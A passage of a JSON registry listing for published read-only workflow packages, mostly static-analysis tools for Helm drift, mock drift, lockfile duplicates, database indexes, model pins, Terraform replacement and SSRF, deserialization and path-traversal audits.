files","example":"4"},{"name":"per_shard","type":"string","required":false,"default":"10","description":"How many workflow files each analyze task reads. Lower it if a single task times out.","example":"6"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:87914db7d8be0eb200271ada42eed69f3aaf1d0a6d8a2d05918b747e78d843d5","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":8,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/chart-values-drift@0.1.0","reference":"lgoyal6/chart-values-drift@0.1.0","uri":"https://play.modiqo.ai/lgoyal6/chart-values-drift@0.1.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/chart-values-drift@0.1.0","name":"chart-values-drift","title":"chart-values-drift","description":"A Helm chart has two halves that nothing checks against each other. A template reading `.Values.image.tagName` when values.yaml declares `image.tag` renders the EMPTY STRING: lint passes, `helm template` passes, the manifest applies, and the pod comes up wrong in the cluster. This reports both directions with file and line: every values key no template consumes, and every `.Values` reference no values.yaml declares, graded by whether a default, a required or an enclosing if/with guards it - so an optional block is not read as a bug. `with .Values.x` rebinds the dot, and bare references inside it are resolved, which is what keeps a normal chart from looking half-dead. Subchart keys, `global.*` and helm test hooks are excluded and counted, never guessed at. Kustomize overlays get the same question: a base, component or patch the overlay names and the filesystem does not have. Helm is never invoked, no cluster or kubeconfig is touched. Read-only, offline.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-infrastructure","operations-workflows","job-chart-review","tool-helm","effect-read-only","helm","kubernetes","values-yaml","chart-templates","kustomize","configuration-drift","dead-configuration","undeclared-values","renders-empty","go-templates","audience-sre","audience-platform-engineers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-infrastructure","author":"lgoyal6","version":"0.1.0","published_at":"2026-09-06T04:13:27.301485+00:00","visibility":"public","quality_score":1,"size_bytes":28605,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path of the directory to scan for charts and overlays","example":"/Users/you/your-repo"},{"name":"depth","type":"string","required":false,"default":"8","description":"How many directory levels below root to search","example":"5"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ec1042bc77d09217d8c5b4ecc33ec21f815d1057682c4e94c7374780a3abd19b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":8,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/mock-drift@0.1.0","reference":"lgoyal6/mock-drift@0.1.0","uri":"https://play.modiqo.ai/lgoyal6/mock-drift@0.1.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/mock-drift@0.1.0","name":"mock-drift","title":"mock-drift","description":"A mock is a claim about a real interface. When the real thing moves and the mock does not, the test keeps passing and stops meaning anything. This resolves every patch target against the tree it names and reports the doubles the code no longer supports: a patch on a name the module has lost, a module the dotted path can no longer reach, an assert_called_with naming a keyword the real function no longer takes, and a spec-less stand-in for a class that has since gained required arguments. Telling a name that is GONE from one that merely LOOKS gone is the whole difficulty, and it is all structural: dotted components are matched whole against a path-derived module map, never by substring. Measured on three large trees, the untuned rules produced 36 findings and all 36 were false; four gates left 0 false. Star-imports, module __getattr__, create=True and computed targets are counted as unmeasurable, never as clean. Never runs a test. Needs python3 and bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","testing-workflows","job-test-double-audit","tool-static-analysis","effect-read-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.0","published_at":"2026-09-06T04:13:06.622412+00:00","visibility":"public","quality_score":1,"size_bytes":25607,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the tree whose Python tests should be read. A relative path is refused, because a step runs in rote's own workspace rather than in your shell directory, so a bare dot would scan the wrong tree and then report a clean bill about it.","example":"/Users/you/your-repo"},{"name":"max_files","type":"string","required":false,"default":"6000","description":"Ceiling on how many test files are analyzed; a tree over it is reported as PARTIAL rather than silently cut","example":"20000"},{"name":"top","type":"string","required":false,"default":"12","description":"How many findings to print in full per group before the rest are summarised","example":"30"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:870bccb8ae99eaa7bacdaf92515c4002a6791cd09852f888a4b66dc8b8e6a840","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":8,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/duplicate-deps@0.1.0","reference":"lgoyal6/duplicate-deps@0.1.0","uri":"https://play.modiqo.ai/lgoyal6/duplicate-deps@0.1.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/duplicate-deps@0.1.0","name":"duplicate-deps","title":"duplicate-deps","description":"The same library resolved at three versions inside one lockfile, and the direct dependency responsible for each extra copy. Attribution is the point: react-is appearing three times is not actionable, but knowing two copies exist only because one direct dependency pins an old range names the exact range to widen. Reads package-lock.json (v1-v3), yarn.lock, pnpm-lock.yaml, Cargo.lock, poetry.lock and uv.lock, resolving npm entries by node's own shadowing rules so a nested copy is a real second install, not a name seen twice. Reports measured bytes per copy from an install tree that already exists, and NOT DERIVABLE where there is none, never an estimate. Same-version copies are a separate class from version skew: nothing breaks, no range needs widening. Python splits are labelled one-per-environment, not bundle weight, since pip installs one. Scope is ONE lockfile: two projects that both use lodash are never a duplicate. Runs no package manager, no network. Needs python3 and bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","dependency-workflows","job-dependency-audit","tool-lockfile","effect-read-only","duplicate-dependency","two-copies-of-react","bundle-size","lockfile","package-lock","yarn-lock","pnpm-lock","cargo-lock","poetry-lock","uv-lock","semver","version-ranges","install-size","audience-developers","audience-maintainers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.0","published_at":"2026-09-06T04:11:56.212729+00:00","visibility":"public","quality_score":1,"size_bytes":32807,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to the directory tree to scan for lockfiles","example":"/Users/you/your-repo"},{"name":"depth","type":"string","required":false,"default":"6","description":"How many directory levels below root to search","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ad84c566bb93f9f25b31ae82c17bf35e1ab95a5e19bdc8f459a665823dbfa586","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":8,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/index-hygiene@1.0.0","reference":"lgoyal6/index-hygiene@1.0.0","uri":"https://play.modiqo.ai/lgoyal6/index-hygiene@1.0.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/index-hygiene@1.0.0","name":"index-hygiene","title":"index-hygiene","description":"Every index costs you on write and every missing one costs you on read, and a schema file tells you which is which for exactly none of them. This joins the indexes a tree DECLARES against the query shapes its code actually ISSUES. Declarations come from CREATE INDEX, PRIMARY KEY and UNIQUE, Prisma @@index, Django models.Index, and SQLAlchemy index=True - minus every index a later DROP INDEX took away, which matters in a migration tree. Query shapes come from SQL predicates and from Prisma, Django and SQLAlchemy where clauses. Three things are reported: an index whose leading column nothing filters on, an index that duplicates or is a strict prefix of another, and a repeated query shape no index can serve. SQL is only read inside string literals, so a docstring is not a query, and identifiers compare as whole tokens, so id never matches user_id. What cannot be resolved is counted, never assumed unused. Read-only, offline, never connects to a database.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","data-layer-workflows","job-schema-audit","tool-static-analysis","effect-read-only","database","indexes","schema","migrations","query-performance","prisma","django","sqlalchemy","sql","orm","audience-developers","audience-sre","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"1.0.0","published_at":"2026-09-06T04:08:32.228063+00:00","visibility":"public","quality_score":1,"size_bytes":33067,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory tree to audit. Must be an ABSOLUTE path, because a step runs inside rote's own workspace rather than your shell directory, so a relative path would scan the wrong tree and report it clean","example":"/Users/you/project"},{"name":"depth","type":"string","required":false,"default":"10","description":"How many directory levels below root to search for schema and source files","example":"6"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:dc5288f41bd34cf29606eaa5588f868d0906aa438dcb1a38de02f296a5f70e26","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":12,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/model-pin-drift@0.1.0","reference":"lgoyal6/model-pin-drift@0.1.0","uri":"https://play.modiqo.ai/lgoyal6/model-pin-drift@0.1.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/model-pin-drift@0.1.0","name":"model-pin-drift","title":"model-pin-drift","description":"Your codebase names one model four ways. gpt-4o, openai/gpt-4o, gpt-4o-2024-08-06, gpt-4o-latest - and the router, the default in config, and the fixture in tests each picked a different one, so a price lookup misses, a capability check falls through, and the suite proves nothing about what production actually calls. This walks a tree, collects every model identifier written as a whole-token string literal or config scalar, collapses route prefixes and date/version suffixes to the logical model, and reports where the spellings disagree: a default that differs between config, code and tests; a model pinned to a date in one place and floating on -latest in another; one logical model under several literals; and a model this repository's own words call deprecated while another file still binds it. It carries NO table of current models and no snapshot date, so it never claims a model is retired unless the repo says so. Read-only, offline, never calls a model.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","llm-application-code","job-model-inventory","tool-static-analysis","effect-read-only","model-pin-drift","model-identifier","model-alias","default-model","deprecated-model","version-pinning","llm-config","config-drift","audience-developers","audience-ml-engineers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.0","published_at":"2026-09-06T04:08:13.446318+00:00","visibility":"public","quality_score":1,"size_bytes":23893,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the directory tree to inventory. A relative path is refused: a step runs in rote's own workspace rather than in your shell directory, so a bare dot would scan the wrong tree and then report a confident clean bill about it.","example":"/Users/you/your-repo"},{"name":"depth","type":"string","required":false,"default":"10","description":"How many directory levels below root to search for source and config files","example":"6"},{"name":"max_files","type":"string","required":false,"default":"4000","description":"Upper bound on candidate files opened. Exceeding it is reported as PARTIAL, never as a clean scan.","example":"1500"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2b9124c617610b956ed35a190aababce4efaeff2b0136386a1f27431fad2e04f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":8,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/ssrf-surface@0.1.1","reference":"lgoyal6/ssrf-surface@0.1.1","uri":"https://play.modiqo.ai/lgoyal6/ssrf-surface@0.1.1","manifest_uri":"https://play.modiqo.ai/lgoyal6/ssrf-surface@0.1.1","name":"ssrf-surface","title":"ssrf-surface","description":"An outbound request whose URL comes from the caller lets that caller aim your server at your own network. This finds the Python HTTP sinks - requests, httpx, aiohttp, urllib and session-style client methods - whose URL is built from a request value, and reports three things for each: the sink, where the URL came from, and whether a scheme check, host comparison or allowlist sits between them. A hardcoded URL is never a finding, and a URL this analysis cannot tie to an input is not reported at all. An endpoint read from the environment is operator-controlled rather than caller-controlled, so it is listed as context and excluded from every vulnerability count. Redirect following is called out, because a check made before the call is walked past by a 302. Read-only and offline: no request is ever sent.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["ssrf","server-side-request-forgery","cwe-918","allowlist","webhook","open-redirect","outbound-http","metadata-service","job-ssrf-audit","tool-python-ast","domain-security","engineering-workflows","effect-read-only","static-analysis","taint-analysis","python","ast","audience-security-engineers","audience-developers","audience-maintainers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-security","author":"lgoyal6","version":"0.1.1","published_at":"2026-09-06T04:06:16.670936+00:00","visibility":"public","quality_score":1,"size_bytes":25196,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the directory of Python source to audit","example":"/Users/you/your-repo"},{"name":"depth","type":"string","required":false,"default":"8","description":"How many directory levels below root to search","example":"4"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:842333435f480772194d29d29a3ce76b50a33a583ba1fb912ef8a28b454862f1","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":12,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/deserialization-sinks@0.1.1","reference":"lgoyal6/deserialization-sinks@0.1.1","uri":"https://play.modiqo.ai/lgoyal6/deserialization-sinks@0.1.1","manifest_uri":"https://play.modiqo.ai/lgoyal6/deserialization-sinks@0.1.1","name":"deserialization-sinks","title":"deserialization-sinks","description":"pickle.loads on a request body, yaml.load with no Loader, torch.load on a downloaded checkpoint: each one runs code the sender chose, at load time. This finds those sinks in Python source and ranks them by where the bytes came from, tracing taint intra-procedurally from request values and network fetches to the loader. Provenance it cannot establish is labelled unknown and ranked moderate rather than dressed up as a vulnerability. Correct usage is counted, never flagged: yaml.load with an explicit SafeLoader, yaml.safe_load, torch.load with weights_only=True, numpy.load without allow_pickle and ast.literal_eval all appear as checked-and-correct. Test, example and vendored files are separated by whole path segments, never by substring. Read-only and offline: nothing it reads is imported, unpickled or executed.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["deserialization","pickle","yaml-load","torch-load","unsafe-loader","code-execution","cwe-502","model-checkpoints","safetensors","job-deserialization-audit","tool-python-ast","domain-security","engineering-workflows","effect-read-only","static-analysis","taint-analysis","python","ast","audience-security-engineers","audience-developers","audience-maintainers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-security","author":"lgoyal6","version":"0.1.1","published_at":"2026-09-06T04:06:02.502525+00:00","visibility":"public","quality_score":1,"size_bytes":25199,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the directory of Python source to audit","example":"/Users/you/your-repo"},{"name":"depth","type":"string","required":false,"default":"8","description":"How many directory levels below root to search","example":"4"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:14f689f44619c792dec7543b17e0acd6c94262015704f6038034c8b0a871dbec","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":12,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/path-traversal-surface@0.1.1","reference":"lgoyal6/path-traversal-surface@0.1.1","uri":"https://play.modiqo.ai/lgoyal6/path-traversal-surface@0.1.1","manifest_uri":"https://play.modiqo.ai/lgoyal6/path-traversal-surface@0.1.1","name":"path-traversal-surface","title":"path-traversal-surface","description":"A filesystem path built from a request parameter, an uploaded filename or an archive entry is how a download endpoint becomes an arbitrary file read. This traces Python source from the input to the path: request values reaching open(), os.open(), a Path read or write, a shutil copy or an os.path.join, plus zipfile extractall, tarfile extractall with no filter=, and a bare tar extract(). Taint is followed intra-procedurally, so a hardcoded path is never a finding and a value this analysis cannot tie to an input is not reported. A containment check found in the same function downgrades the finding and is named rather than silently trusted, tarfile extractall with filter='data' is counted as correct, and test, example and vendored files are separated by whole path segments, never by substring. Read-only and offline: it never extracts, writes or executes anything it reads.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["path-traversal","directory-traversal","zip-slip","tarfile","zipfile","extractall","arbitrary-file-read","cwe-22","job-path-traversal-audit","tool-python-ast","domain-security","engineering-workflows","effect-read-only","static-analysis","taint-analysis","python","ast","audience-security-engineers","audience-developers","audience-maintainers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-security","author":"lgoyal6","version":"0.1.1","published_at":"2026-09-06T04:05:49.221501+00:00","visibility":"public","quality_score":1,"size_bytes":26019,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the directory of Python source to audit","example":"/Users/you/your-repo"},{"name":"depth","type":"string","required":false,"default":"8","description":"How many directory levels below root to search","example":"4"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:92816a90a2a95473cfbe1a27aa60e1a701e56d6a8ad1633ccf72b5334603cbe2","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":12,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/terraform-blast-radius@0.1.0","reference":"lgoyal6/terraform-blast-radius@0.1.0","uri":"https://play.modiqo.ai/lgoyal6/terraform-blast-radius@0.1.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/terraform-blast-radius@0.1.0","name":"terraform-blast-radius","title":"terraform-blast-radius","description":"A rename is not a rename. Change a cache's name or a bucket's in a .tf file and Terraform deletes the resource and builds an empty one. This reports, per resource, which attribute forces a REPLACEMENT rather than an update, and which of those resources hold state that does not survive it: a database, a disk, a bucket, a cache, a secret's stored versions. Replacement behaviour comes from a bundled table of provider-documented ForceNew attributes carrying the doc page for each type; a resource type not in that table is EXCLUDED and COUNTED, never guessed at. It resolves a var. or local. driver to the default declared in the module's own sibling files, reads prevent_destroy, create_before_destroy and ignore_changes, and never judges commented-out HCL. A resource NAME is a name, never a credential. Terraform is never invoked: no plan, no state, no provider download, no credential. Read-only and offline.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-infrastructure","operations-workflows","job-terraform-review","tool-terraform","effect-read-only","terraform","hcl","force-replacement","forcenew","stateful-resources","data-loss","prevent-destroy","create-before-destroy","ignore-changes","blast-radius","infrastructure-as-code","audience-sre","audience-platform-engineers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-infrastructure","author":"lgoyal6","version":"0.1.0","published_at":"2026-09-06T04:04:17.567097+00:00","visibility":"public","quality_score":1,"size_bytes":29723,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path of the directory to scan for Terraform files","example":"/Users/you/your-repo"},{"name":"depth","type":"string","required":false,"default":"8","description":"How many directory levels below root to search","example":"5"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:22a6331dd3ad930b1bfdc2dce486ce331ba67c68ebc88e581c6d40de670f45f9","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":8,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/coraura-playoffs/signed-project-preflight-publish@0.0.1","reference":"coraura-playoffs/signed-project-preflight-publish@0.0.1","uri":"https://play.modiqo.ai/coraura-playoffs/signed-project-preflight-publish@0.0.1","manifest_uri":"https://play.modiqo.ai/coraura-playoffs/signed-project-preflight-publish@0.0.1","name":"signed-project-preflight-publish","title":"signed-project-preflight-publish","description":"","owner":{"kind":"org","slug":"coraura-playoffs"},"registry_organization":"coraura-playoffs","tags":[],"primary_domain":"domain-uncategorized","author":"Xqscora","version":"0.0.1","published_at":"2026-09-06T03:56:42.974066+00:00","visibility":"public","quality_score":0.400000005960464,"size_bytes":1680,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":1,"names":["python"]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4df354dc6689c11d429d12c3d7dc0eb9505f2ce4af59e520867327bbce641972","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/lgoyal6/allocation-in-loop@1.0.0","reference":"lgoyal6/allocation-in-loop@1.0.0","uri":"https://play.modiqo.ai/lgoyal6/allocation-in-loop@1.0.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/allocation-in-loop@1.0.0","name":"allocation-in-loop","title":"allocation-in-loop","description":"A loop that rebuilds the same thing every time round reads perfectly sensibly line by line, which is why it survives review and then shows up as a profile nobody can explain. This finds four shapes: a regex compiled per iteration, a file handle or database connection or HTTP client opened per item, a constant dict, list or set rebuilt from scratch, and a string grown with += over a collection. Every finding names the loop line, the thing being rebuilt, and the iteration count where the source fixes it - and says plainly when it does not, because quadratic over five pieces is nothing and over five million is an outage. Loop invariance is decided on the syntax tree. What is not reported is counted: a call whose arguments name the loop variable, a fresh object that gets appended, a lazy-init guard, and a numeric accumulator. Python. Read-only, offline, no credentials.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","performance-workflows","job-hoisting-audit","tool-static-analysis","effect-read-only","loop-invariant","hoisting","allocation","string-concatenation","regex-compile","connection-churn","quadratic","python","profiling","audience-developers","audience-sre","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"1.0.0","published_at":"2026-09-06T03:54:59.060475+00:00","visibility":"public","quality_score":1,"size_bytes":27541,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory tree to audit. Must be an ABSOLUTE path, because a step runs inside rote's own workspace rather than your shell directory, so a relative path would scan the wrong tree and report it clean","example":"/Users/you/project"},{"name":"depth","type":"string","required":false,"default":"8","description":"How many directory levels below root to search for Python source files","example":"4"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:980e282780716fd563a2164de74c430278712367e5d9ea42fd2c9911ac004ef1","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":12,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/error-shape-drift@0.1.1","reference":"lgoyal6/error-shape-drift@0.1.1","uri":"https://play.modiqo.ai/lgoyal6/error-shape-drift@0.1.1","manifest_uri":"https://play.modiqo.ai/lgoyal6/error-shape-drift@0.1.1","name":"error-shape-drift","title":"error-shape-drift","description":"One API, three error shapes: {detail} from the framework, {error,code} from the handler somebody wrote by hand, and a bare string from the legacy route nobody has touched. Callers discover that one endpoint at a time, in production. This reads every 4xx and 5xx response the code can 